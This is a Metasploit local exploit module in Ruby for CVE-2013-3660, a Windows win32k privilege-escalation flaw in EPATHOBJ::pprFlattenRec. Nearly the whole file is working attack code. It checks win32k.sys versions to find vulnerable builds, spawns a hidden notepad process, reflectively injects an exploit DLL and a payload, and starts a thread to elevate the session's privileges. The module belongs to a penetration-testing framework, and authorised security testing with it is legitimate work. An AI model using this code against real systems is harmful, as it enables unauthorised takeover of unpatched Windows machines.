##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'

class MetasploitModule < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info={})
    super(update_info(info, {
      'Name'           => 'Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation',
      'Description'    => %q{
          This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due to the usage
        of uninitialized data which allows to corrupt memory. At the moment, the module has
        been tested successfully on Windows XP SP3, Windows 2003 SP1, and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Vulnerability discovery and Original Exploit
          'progmboy <programmeboy[at]gmail.com>',    # Original Exploit
          'Keebie4e',     # Metasploit integration
          'egypt',        # Metasploit integration
          'sinn3r',       # Metasploit integration
          'Ben Campbell',    # Metasploit integration
          'juan vazquez', # Metasploit integration
          'OJ Reeves'     # Metasploit integration
        ],
      'Arch'           => ARCH_X86,
      'Platform'       => 'win',
      'SessionTypes'   => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Targets'        =>
        [
          [ 'Automatic', { } ]
        ],
      'Payload'        =>
        {
          'Space'       => 4096,
          'DisableNops' => true
        },
      'References'     =>
        [
          [ 'CVE', '2013-3660' ],
          [ 'EDB', '25912' ],
          [ 'OSVDB', '93539' ],
          [ 'MSB', 'MS13-053' ],
          [ 'URL', 'http://seclists.org/fulldisclosure/2013/May/91' ],
        ],
      'DisclosureDate' => 'May 15 2013',
      'DefaultTarget'  => 0,
      # TODO: Uncomment this line and remove the Rex.sleep when WsfDelay works properly.
      # Wait for up to 30 seconds by default for our shell because this exploit can
      # take quite a while to finish execute
      #'DefaultOptions' => { 'WfsDelay' => 30 }
    }))

    # TODO: remove this when we've sorted out the WsfDelay issue.
    register_options([
      OptInt.new('WAIT', [ true, "Number of seconds to wait for exploit to run", 10 ])
    ], self.class)

  end

  def check
    os = sysinfo["OS"]
    if os =~ /windows/i
      file_path = session.sys.config.getenv('windir') << "\\system32\\win32k.sys"
      major, minor, build, revision, branch = file_version(file_path)
      vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision}")

      # WinXP x86 - 5.1.2600.6404
      # WinXP/2003 5.2.3790.5174
      # WinVista/2k8 - 6.0.6002.18861 / 6.0.6002.23132
      # Win72k8R2 -  6.1.7601.18176 / 6.1.7601.22348
      # Win8/2012 - 6.2.9200.16627 / 6.2.9200.20732
      case build
      when 2600
        return Exploit::CheckCode::Appears if revision < 6404
      when 3790
        return Exploit::CheckCode::Appears if revision < 5174
      when 6000
        return Exploit::CheckCode::Appears
      when 6001
        return Exploit::CheckCode::Appears
      when 6002
        if branch == 18
          return Exploit::CheckCode::Appears if revision < 18861
        else
          return Exploit::CheckCode::Appears if revision < 23132
        end
      when 7600
        return Exploit::CheckCode::Appears
      when 7601
        if branch == 18
          return Exploit::CheckCode::Appears if revision < 18176
        else
          return Exploit::CheckCode::Appears if revision < 22348
        end
      when 9200
        if branch == 16
          return Exploit::CheckCode::Appears if revision < 16627
        else
          return Exploit::CheckCode::Appears if revision < 20732
        end
      end
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, "Exploit not available on this system.")
    end

    if sysinfo["Architecture"] == ARCH_X64
      fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
    end

    print_status("Launching notepad to host the exploit...")
    process = client.sys.process.execute("notepad.exe", nil, {'Hidden' => true})
    host_process = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
    print_good("Process #{process.pid} launched.")

    print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
    library_path = ::File.join(Msf::Config.data_directory, "exploits",
                               "cve-2013-3660", "ppr_flatten_rec.x86.dll")
    library_path = ::File.expand_path(library_path)

    print_status("Injecting exploit into #{process.pid} ...")
    exploit_mem, offset = inject_dll_into_process(host_process, library_path)

    print_status("Exploit injected. Injecting payload into #{process.pid}...")
    payload_mem = inject_into_process(host_process, payload.encoded)

    # invoke the exploit, passing in the address of the payload that
    # we want invoked on successful exploitation.
    print_status("Payload injected. Executing exploit...")
    host_process.thread.create(exploit_mem + offset, payload_mem)

    # TODO: remove this Rex.sleep call when the WsfDelay stuff works correctly for local
    # exploits. For some reason it doesn't appear to work properly.
    wait = datastore['WAIT'].to_i
    print_status("Exploit thread executing (can take a while to run), waiting #{wait} sec ...")
    Rex.sleep(wait)

    print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
  end

end
